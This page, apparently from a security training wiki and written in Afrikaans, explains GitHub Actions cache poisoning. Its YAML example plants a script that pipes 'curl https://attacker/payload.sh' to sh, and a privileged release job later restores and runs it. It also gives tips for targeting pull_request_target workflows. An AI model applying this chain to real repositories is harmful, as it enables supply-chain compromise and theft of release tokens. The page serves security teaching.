# GH Actions - Cache Poisoning

{{#include ../../../banners/hacktricks-training.md}}

## Oorsig

Die GitHub Actions cache is globaal tot 'n repository. Enige workflow wat 'n cache `key` (of `restore-keys`) ken, kan daardie inskrywing vul, selfs al het die job slegs `permissions: contents: read`. GitHub segregeer nie caches per workflow, gebeurtenistipe, of trust level nie, so 'n aanvaller wat 'n lae-privilegie job kompromitteer, kan 'n cache vergiftig wat 'n bevoorregte release-job later sal herstel. Dit is hoe die Ultralytics kompromis van 'n `pull_request_target` workflow na die PyPI publishing pipeline gepivoteer het.

## Aanvalsprimitiewe

- `actions/cache` openbaar beide restore- en save-operasies (`actions/cache@v4`, `actions/cache/save@v4`, `actions/cache/restore@v4`). Die save-oproep is toegelaat vir enige job behalwe werklik onbetroubare `pull_request` workflows wat vanaf forks getrigger word.
- Cache-inskrywings word slegs geïdentifiseer deur die `key`. Breë `restore-keys` maak dit maklik om payloads in te spuit omdat die aanvaller net met 'n voorvoegsel hoef te bots.
- Die gecachte filesystem word woordelik herstel. As die cache scripts of binaries bevat wat later uitgevoer word, beheer die aanvaller daardie uitvoeringspad.

## Voorbeeld uitbuitingsketting

_Auteur-workflow (`pull_request_target`) het die cache vergiftig:_
```yaml
steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
```
_Bevoorregte workflow het die vergiftigde cache herstel en uitgevoer:_
```yaml
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz
```
Die tweede job voer nou aanvaller-beheerde kode uit terwyl dit vrystellings-toegangsbewyse (PyPI tokens, PATs, cloud deploy keys, etc.) hou.

## Praktiese uitbuitingswenke

- Teiken workflows wat geaktiveer word deur `pull_request_target`, `issue_comment`, of bot commands wat steeds caches stoor; GitHub laat toe dat hulle repository-wye sleutels oorskryf, selfs wanneer die runner slegs lees-toegang tot die repo het.
- Kyk vir deterministiese cache-sleutels wat oor vertrouensgrense hergebruik word (byvoorbeeld, `pip-${{ hashFiles('poetry.lock') }}`) of permissiewe `restore-keys`, en stoor dan jou kwaadaardige tarball voordat die geprivilegieerde workflow loop.
- Moniteer logs vir `Cache saved` inskrywings of voeg jou eie cache-save-stap by, sodat die volgende release job die payload herstel en die trojanized skripte of binêre uitvoer.

## Verwysings

- [A Survey of 2024–2025 Open-Source Supply-Chain Compromises and Their Root Causes](https://words.filippo.io/compromise-survey/)

{{#include ../../../banners/hacktricks-training.md}}
